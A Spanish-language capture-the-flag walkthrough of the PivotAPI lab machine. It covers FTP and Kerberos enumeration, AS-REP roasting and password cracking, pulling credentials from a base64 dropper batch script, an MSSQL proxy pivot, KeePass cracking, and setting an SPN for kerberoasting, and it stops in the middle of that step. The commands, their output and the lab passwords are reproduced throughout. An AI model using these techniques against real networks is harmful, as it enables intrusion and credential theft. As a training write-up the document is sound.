Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, en Windows es recomendable usar el parametro -Pn
para forzar el escaneo aunque no reciba respuesta de los paquetes ping
❯ nmap 10.10.10.240 -Pn
Nmap scan report for 10.10.10.240
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
9389/tcp open adws
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49702/tcp open unknown
Con crackmapexec
podemos obtener información de la maquina asi como el dominio
que es licordebellota.htb
ademas del nombre que es PIVOTAPI
❯ crackmapexec smb 10.10.10.240
SMB 10.10.10.240 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
Para posibles proximos ataques o solo por comodidad agregaremos el dominio
al /etc/hosts
ademas el nombre
de la máquina que es PIVOTAPI
como otro dominio
❯ echo "10.10.10.240 licordebellota.htb pivotapi.licordebellota.htb" | sudo tee -a /etc/hosts
Ya que esta abierto iniciarmos por conectarnos a ftp
, en este caso admite la autenticacion por defecto del usuario anonymous
sin proporcionar contraseña
❯ ftp licordebellota.htb
Connected to licordebellota.htb.
220 Microsoft FTP Service
Name (licordebellota.htb:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>
Dentro de ftp encontramos varios archivos, principalmente archivos de extensión pdf
sobre binarios, cambiamos el modo a bin
y descargamos todos los archivos
ftp> dir
229 Entering Extended Passive Mode (|||53092|)
125 Data connection already open; Transfer starting.
02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
08-08-20 01:18PM 219091 notes1.pdf
08-08-20 01:34PM 279445 notes2.pdf
08-08-20 01:41PM 105 README.txt
02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> bin
200 Type set to I.
ftp> prompt off
Interactive mode off.
ftp> mget *
local: 10.1.1.414.6453.pdf remote: 10.1.1.414.6453.pdf
......................................................
ftp>
Access - kaorz
Mirando los metadatos con exiftool
de un pdf encontramos un campo Creator
❯ exiftool notes2.pdf
ExifTool Version Number : 12.63
File Name : notes2.pdf
Directory : .
File Size : 279 kB
File Modification Date/Time : 2020:08:08 07:34:25-04:00
File Access Date/Time : 2023:07:08 13:34:19-04:00
File Inode Change Date/Time : 2023:07:08 13:34:19-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.5
Linearized : No
Page Count : 5
XMP Toolkit : Image::ExifTool 12.03
Creator : Kaorz
Publisher : LicorDeBellota.htb
Producer : cairo 1.10.2 (http://cairographics.org)
Con exiftool
dumpeamos el campo Creator
de todos los archivos pdf, nos encontramos con 2 posibles usuarios
validos los cuales son kaorz
y alex
❯ exiftool -Creator *.pdf
======== 10.1.1.414.6453.pdf
Creator : Microsoft Word
======== 28475-linux-stack-based-buffer-overflows.pdf
Creator : Microsoft® Word 2013
======== BHUSA09-McDonald-WindowsHeap-PAPER.pdf
Creator : byron gronseth
======== ExploitingSoftware-Ch07.pdf
======== notes1.pdf
Creator : cairo 1.10.2 (http://cairographics.org)
======== notes2.pdf
Creator : Kaorz
======== RHUL-MA-2009-06.pdf
Creator : alex
7 image files read
Al validar los usuarios con kerbrute
solo el usuario kaorz
existe en el dominio
❯ kerbrute userenum -d licordebellota.htb --dc pivotapi.licordebellota.htb users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
> Using KDC(s):
> pivotapi.licordebellota.htb:88
> [+] VALID USERNAME: kaorz@licordebellota.htb
> Done! Tested 2 usernames (1 valid) in 0.106 seconds
Tenemos un usuario
valido, dentro de los posibles ataques a probar esta el ASREPRoast
usando GetNPUsers y al ser vulnerable nos devuelve un hash
❯ impacket-GetNPUsers licordebellota.htb/kaorz -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for kaorz
$krb5asrep$23$kaorz@LICORDEBELLOTA.HTB:bd314edcba1af49ed3d17c2529b98e3a$202f3d07214e047bd3622a034ece4d643b704c86668b216fc69ae331a47269eba7b14eb33270fea257adb1fa057f987ada9b2d143b449716d5ea6c8411db5afe56d089df16996fe241574dc124738b90c49b7afe1ac2f2a328f4c77b5971ee08ee098a11bb28355d568cc961424a1d8b8c9c126ef20ddf5e300d6c76cfc99f8428447e310ee4f5f1b228e29129ebef950925c9e183423201dc765e47aca4cc7417516bf366904f04ee40f9eb6520cf61a34910709570f933216262a3980a6fb30e5b2bb2bbe6708cd62ab19fa6787ae3d5cd82996b679fd544bc21700f6853d2ed10b51d96901e8201f6391dfcaa7c79942699470410bef7
Usando john
logramos crackear el hash y obtener la contraseña del usuario kaorz
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 XOP 4x2])
Press 'q' or Ctrl-C to abort, almost any other key for status
Roper4155 ($krb5asrep$23$kaorz@LICORDEBELLOTA.HTB)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Con crackmapexec
podemos comprobar que las credenciales son validas, ahora al listar los recursos SMB
tenemos privilegios READ
(de lectura) en varios de ellos
❯ crackmapexec smb licordebellota.htb -u kaorz -p Roper4155
SMB licordebellota.htb 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB licordebellota.htb 445 PIVOTAPI [+] LicorDeBellota.htb\kaorz:Roper4155
❯ crackmapexec smb licordebellota.htb -u kaorz -p Roper4155 --shares
SMB licordebellota.htb 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB licordebellota.htb 445 PIVOTAPI [+] LicorDeBellota.htb\kaorz:Roper4155
SMB licordebellota.htb 445 PIVOTAPI [+] Enumerated shares
SMB licordebellota.htb 445 PIVOTAPI Share Permissions Remark
SMB licordebellota.htb 445 PIVOTAPI ----- ----------- ------
SMB licordebellota.htb 445 PIVOTAPI ADMIN$ Admin remota
SMB licordebellota.htb 445 PIVOTAPI C$ Recurso predeterminado
SMB licordebellota.htb 445 PIVOTAPI IPC$ READ IPC remota
SMB licordebellota.htb 445 PIVOTAPI NETLOGON READ Recurso compartido del servidor de inicio de sesión
SMB licordebellota.htb 445 PIVOTAPI SYSVOL READ Recurso compartido del servidor de inicio de sesión
Access - svc_mssql
Nos conectamos con smbclient
al recurso compartido NETLOGON
, dentro de ella tenemos un directorio HelpDesk
que contiene 2 archivos msg
y un archivo exe
❯ impacket-smbclient licordebellota.htb/kaorz:Roper4155@pivotapi.licordebellota.htb
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use NETLOGON
# ls
drw-rw-rw- 0 Sat Aug 8 06:42:28 2020 .
drw-rw-rw- 0 Sat Aug 8 06:42:28 2020 ..
drw-rw-rw- 0 Sun Aug 9 11:40:36 2020 HelpDesk
# cd HelpDesk
# ls
drw-rw-rw- 0 Sun Aug 9 11:40:36 2020 .
drw-rw-rw- 0 Sun Aug 9 11:40:36 2020 ..
-rw-rw-rw- 1854976 Fri Feb 19 06:33:15 2021 Restart-OracleService.exe
-rw-rw-rw- 24576 Sun Aug 9 11:40:36 2020 Server MSSQL.msg
-rw-rw-rw- 26112 Sun Aug 9 07:45:39 2020 WinRM Service.msg
# mget *
[*] Downloading Restart-OracleService.exe
[*] Downloading Server MSSQL.msg
[*] Downloading WinRM Service.msg
#
Los 2 archivos con extensión msg
podemos abrirlos con outlook
, el primero nos dice que el servicio winrm
esta deshabilitado en el equipo y el segundo nos dice que en el año 2020
se ha migrado de oracle
a mssql
a diferencia del año 2010
Al ejecutar el archivo exe
este sale sin mostrar nada interesante, usando procmon podemos monitorear las acciones que este hace, al parecer crea un archivo de extensión bat
en el directorio Temp
, pero al revisar el directorio este no existe
Ya que probablemente lo esta eliminando
antes de terminar la ejecución del exe, modificaremos los permisos
en esta carpeta para que no pueda eliminar nada
Al ejecutar de nuevo el exe
como no puede borrar los archivos nos encontramos con ellos en el directorio Temp
, en este caso son un archivo tmp y un archivo bat
El archivo bat
inicia haciendo un par de comprobaciones de usuario, despues guarda una data en base64
en un archivo oracle.txt
, despues crea un archivo de powershell
que lo convierte en un exe
y lo ejecuta, finalmente borra los archivos
@shift /0
@echo off
if %username% == cybervaca goto correcto
if %username% == frankytech goto correcto
if %username% == ev4si0n goto correcto
goto error
:correcto
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
echo aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYKAAAAAAAAAAAAAAAAAPAALwILAgIfAG >> c:\programdata\oracle.txt
........................................................................................................
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
del c:\programdata\monta.ps1
del c:\programdata\oracle.txt
c:\programdata\restart-service.exe
del c:\programdata\restart-service.exe
:error
Podemos modificar el bat
para quitar las lineas donde hace comprobaciones
y borra archivos, para asi poder ver en que consisten los archivos
que este crea
@echo off
echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > c:\programdata\oracle.txt
echo AAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g >> c:\programdata\oracle.txt
echo aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYKAAAAAAAAAAAAAAAAAPAALwILAgIfAG >> c:\programdata\oracle.txt
........................................................................................................
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> c:\programdata\oracle.txt
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
Al ejecutar nuestra version modificada del script de extensión bat
nos crea varios archivos, el txt
, el ps1
y un exe
todo en el directorio C:\ProgramData
Este archivo exe
tampoco nos deja muy claro que es lo que hace, asi que lo abriremos usando Api Monitor podemos correr el programa y ver las acciones que realiza por detras, esto es similar a lo que hace la herramienta ltrace
en Linux
Después de ver un poco las acciones vemos que con CreateProcessWithLogonW
se autentica para crear un proceso usando las credenciales de svc_oracle
, esta es una de las formas para ver la contraseña y obtener posibles credenciales
validas
Otra forma mas guapa es usando x64dbg, pero para que no termine el programa al correrlo en las preferencias haremos que haga un breakpoint
antes de la salida
De esta manera corremos el programa y se detiene antes de salir con el banner
Vamos al apartado mapa de memoria
y la idea sera buscar una direccion donde el tipo sea MAP
con los mejores privilegios, en este caso solo encontramos RW-
Si vamos a la representación en el volcado podemos ver la cabecera MZ
lo que nos indica que es un ejecutable para MS-DOS
, en pocas palabras un archivo exe
Volvemos al mapa de memoria y dumpeamos la memoria
en la direccion donde tenemos el MAP
con los permisos RW-, guardamos esto como un archivo exe
Este archivo al ser .NET
podemos decompilarlo con dnspy y ver su codigo fuente, en este encontramos la contraseña
y tenemos credenciales del usuario svc_oracle
Sin embargo al comprobar las credenciales de svc_oracle con crackmapexec
encontramos que estas las credenciales no son validas a nivel de dominio
❯ crackmapexec smb licordebellota.htb -u svc_oracle -p '#oracle_s3rV1c3!2010'
SMB licordebellota.htb 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB licordebellota.htb 445 PIVOTAPI [-] LicorDeBellota.htb\svc_oracle:#oracle_s3rV1c3!2010 STATUS_LOGON_FAILURE
Listando los usuarios
del dominio no encontramos al usuario svc_oracle
, en su lugar buscando por usuarios que inicen por svc
vemos que existe svc_mssql
❯ crackmapexec smb licordebellota.htb -u kaorz -p Roper4155 --users
SMB licordebellota.htb 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB licordebellota.htb 445 PIVOTAPI [+] LicorDeBellota.htb\kaorz:Roper4155
SMB licordebellota.htb 445 PIVOTAPI [+] Enumerated domain user(s)
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\0xdf badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\ippsec badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\aDoN90 badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\Jharvar badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\OscarAkaElvis badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\Fiiti badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\socketz badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\Gh0spp7 badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\FrankyTech badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\v1s0r badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\borjmz badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\manulqwerty badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\StooormQ badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\0xVIC badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\lothbrok badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\gibdeon badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\sshd badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\svc_mssql badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\Dr.Zaiuss badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\superfume badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\jari badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\Kaorz badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\3v4Si0N badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\krbtgt badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\cybervaca badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\Invitado badpwdcount: 0 desc:
SMB licordebellota.htb 445 PIVOTAPI LicorDeBellota.htb\Administrador badpwdcount: 0 desc:
En realidad tiene sentido, volviendo a los mensajes nos dice que hasta el año 2010
corria oracle
pero en el año 2020
se cambio el servicio de oracle por mssql
Podemos modificar la contraseña
intentando cambiar los datos que conocemos
#oracle_s3rV1c3!2010
#mssql_s3rV1c3!2020
Con crackmapexec
podemos comprobar el usuario svc_mssql
que existe a nivel de dominio y la contraseña
que hemos modificado, nos devuelve que son validas
❯ crackmapexec smb licordebellota.htb -u svc_mssql -p '#mssql_s3rV1c3!2020'
SMB licordebellota.htb 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB licordebellota.htb 445 PIVOTAPI [+] LicorDeBellota.htb\svc_mssql:#mssql_s3rV1c3!2020
Shell - svc_mssql
Ya que tenemos credenciales válidas podemos usar bloodhound-python
para enumerar usuarios, grupos y privilegios del dominio, esto nos creara un zip
❯ bloodhound-python -u kaorz -p Roper4155 -d licordebellota.htb -dc pivotapi.licordebellota.htb -ns 10.10.10.240 --zip
INFO: Found AD domain: licordebellota.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: pivotapi.licordebellota.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: pivotapi.licordebellota.htb
INFO: Found 58 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: PivotAPI.LicorDeBellota.htb
INFO: Done in 00M 17S
INFO: Compressing output into 20230708134057_bloodhound.zip
Después de subir el zip a bloodhound
podemos ver que el usuario svc_mssql
pertenece al grupo winrm
, sin embargo el puerto 5985
no esta expuesto para todos
Al intentar conectarnos como el usuario svc_mssql
al servicio de mssql nos devuelve un error
el cual nos dice que la autenticación con estas credenciales no es valida
❯ impacket-mssqlclient licordebellota.htb/svc_mssql:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Error de inicio de sesión del usuario 'LICORDEBELLOTA\svc_mssql'.
Por defecto el usuario sa
es el administrador de mssql, al conectarnos como el utilizando la contraseña
de svc_mssql nos otorga acceso al servidor de mssql
❯ impacket-mssqlclient licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
Como sa podemos usar xp_cmdshell
sin embargo de primeras no nos podemos enviar una shell
o crear un proxy ya que no tenemos conexion
con nuestro equipo
SQL> xp_cmdshell ping 10.10.14.10
output
--------------------------------------------------------------------------
Haciendo ping a 10.10.14.10 con 32 bytes de datos:
Error general.
Error general.
Error general.
Error general.
Estadísticas de ping para 10.10.14.10:
Paquetes: enviados = 4, recibidos = 0, perdidos = 4
(100% perdidos),
SQL>
Después de buscar un poco encontramos un proyecto que nos permite crear un proxy
a través de la conexion mssql
, para ello usaremos la version modificada de mssqlclient.py
iniciamos ejecutando enable_ole
y subiendo el reciclador.dll
❯ python2 mssqlclient.py licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb
Impacket v0.11.0 - Copyright 2023 Fortra
mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> enable_ole
SQL> upload reciclador.dll C:\ProgramData\reciclador.dll
[+] Uploading 'reciclador.dll' to 'C:\ProgramData\reciclador.dll'...
[+] Size is 111616 bytes
[+] Upload completed
SQL>
Ahora procederemos a instalar el archivo assembly.dll
, esto usando los parametros -install
y -clr
para indicarlo, estos parametros son parte del proyecto modificado
❯ python2 mssqlclient.py licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb -install -clr assembly.dll
Impacket v0.11.0 - Copyright 2023 Fortra
mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[*] Proxy mode: install
[*] CLR enabled
[*] Assembly successfully installed
[*] Procedure successfully installed
Finalmente inciamos el reciclador
indicando la ruta del dll, al correrlo este nos abre un proxy
el puerto 1337
que podemos indicar en la configuracion de proxychains
❯ python2 mssqlclient.py licordebellota.htb/sa:'#mssql_s3rV1c3!2020'@pivotapi.licordebellota.htb -start -reciclador 'C:\ProgramData\reciclador.dll'
Impacket v0.11.0 - Copyright 2023 Fortra
mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[*] Proxy mode: check
[*] Assembly is installed
[*] Procedure is installed
[*] reciclador is installed
[*] clr enabled
[*] Proxy mode: start
[*] Listening on port 1337...
[*] ACK from server!
Pasando a traves del tunel en el puerto 1337 con proxychains
tenemos conexion con el puerto 5985
de la maquina asi que nos permitira conectarnos al servicio
❯ proxychains -q nmap licordebellota.htb -Pn -n -p 5985
Nmap scan report for 10.10.10.240
PORT STATE SERVICE
5985/tcp open wsman
Ya que el usuario svc_mssql
pertenecia al grupo winrm
deberiamos poder conectarnos a la maquina con evil-winrm
y obtener una powershell
como este
❯ proxychains -q evil-winrm -i licordebellota.htb -u svc_mssql -p '#mssql_s3rV1c3!2020'
PS C:\Users\svc_mssql\Documents> whoami
licordebellota\svc_mssql
PS C:\Users\svc_mssql\Documents>
Shell - 3v4s10n
En el escritorio del usuario svc_mssql
nos encontramos 2 archivos, el primero es una nota
que nos dice que usemos las credenciales para conectarnos a ssh
, ya que el proxy en mssql
nos puede dar varios problemas al usarlo por un largo tiempo
PS C:\Users\svc_mssql\Desktop> dir
Directorio: C:\Users\svc_mssql\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/8/2020 10:12 PM 2286 credentials.kdbx
-a---- 4/30/2021 10:39 AM 93 note.txt
PS C:\Users\svc_mssql\Desktop> type note.txt
Long running MSSQL Proxies can cause issues. Please switch to SSH after getting credentials.
PS C:\Users\svc_mssql\Desktop>
Tambien hay un archivo kdbx
el cual es un archivo para keepass
, lo descargamos
PS C:\Users\svc_mssql\Desktop> download credentials.kdbx credentials.kdbx
Info: Downloading C:\Users\svc_mssql\Desktop\credentials.kdbx to credentials.kdbx
Info: Download successful!
PS C:\Users\svc_mssql\Desktop>
Para obtener la contraseña de este podemos usar keepass2john
que nos creara un hash
que podemos crackear usando john
y obtener la contraseña en texto plano
❯ keepass2john credentials.kdbx > hash
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
mahalkita (credentials)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ahora con KeePassXC
podemos abrir el archivo kdbx
y usar la contraseña crackeada
Al abrir la db podemos encontrar credenciales
correspondientes al nombre SSH
Al abrirlas podemos ver la contraseña
en texto plano del usuario 3v4Si0N
para ssh
Comprobamos las credenciales de 3v4Si0N con crackmapexec
y estas son validas tanto por smb
a nivel de dominio como para autenticarnos al servicio ssh
❯ crackmapexec smb licordebellota.htb -u 3v4Si0N -p 'Gu4nCh3C4NaRi0N!23'
SMB licordebellota.htb 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB licordebellota.htb 445 PIVOTAPI [+] LicorDeBellota.htb\3v4Si0N:Gu4nCh3C4NaRi0N!23
❯ crackmapexec ssh licordebellota.htb -u 3v4Si0N -p 'Gu4nCh3C4NaRi0N!23'
SSH licordebellota.htb 22 licordebellota.htb [*] SSH-2.0-OpenSSH_for_Windows_7.7
SSH licordebellota.htb 22 licordebellota.htb [+] 3v4Si0N:Gu4nCh3C4NaRi0N!23
Al conectarnos por ssh
indicaremos el puerto 1337
con el parametro -D
para crear el proxy a traves de ssh y no por mssql
como antes, ademas podemos ejecutar powershell
para mas comodidad y leer la primera flag
de bajos privilegios
❯ ssh 3v4Si0N@licordebellota.htb -D 1337
3v4Si0N@licordebellota.htb's password: Gu4nCh3C4NaRi0N!23
Microsoft Windows [Versión 10.0.17763.1879]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.
licordebellota\3v4si0n@PIVOTAPI C:\Users\3v4Si0N>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. Todos los derechos reservados.
PS C:\Users\3v4Si0N> whoami
licordebellota\3v4si0n
PS C:\Users\3v4Si0N> type Desktop\user.txt
1e0**************************a4e
PS C:\Users\3v4Si0N>
Shell - dr.zaiuss
Volviendo a bloodhound
ahora podemos buscar una ruta desde el usuario 3v4Si0N
, este tiene privilegios GenericAll
sobre Dr.Zaiuss
que a su vez tiene privilegios GenericAll
sobre el usuario Superfume
que pertenece al grupo Developers
Usando el modulo PowerView.ps1 como el usuario 3v4Si0N podemos setearle un SPN
al usuario Dr.Zaiuss y asi hacer a este usuario vulnerable a un kerberoasting
PS C:\Users\3v4Si0N> Import-Module .\PowerView.ps1
PS C:\Users\3v4Si0N> Set-DomainObject -Identity Dr.Zaiuss -Set @{serviceprincipalname='not/exist'}
PS C:\Users\3v4Si0N>
Ahora que este es vulnerable obtenemos el hash de Dr.Zaiuss usando GetUserSPNs
❯ impacket-GetUserSPNs licordebellota.htb/3v4Si0N:'Gu4nCh3C4NaRi0N!23' -request
Impacket v0.11.0 - Copyright 2023 Fortra
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- --------- ----------------------------------------------- -------------------------- -------------------------- ----------
not/exist Dr.Zaiuss CN=WinRM,CN=Users,DC=LicorDeBellota,DC=htb 2021-03-05 15:42:09.868164 2023-07-08 20:41:24.421217
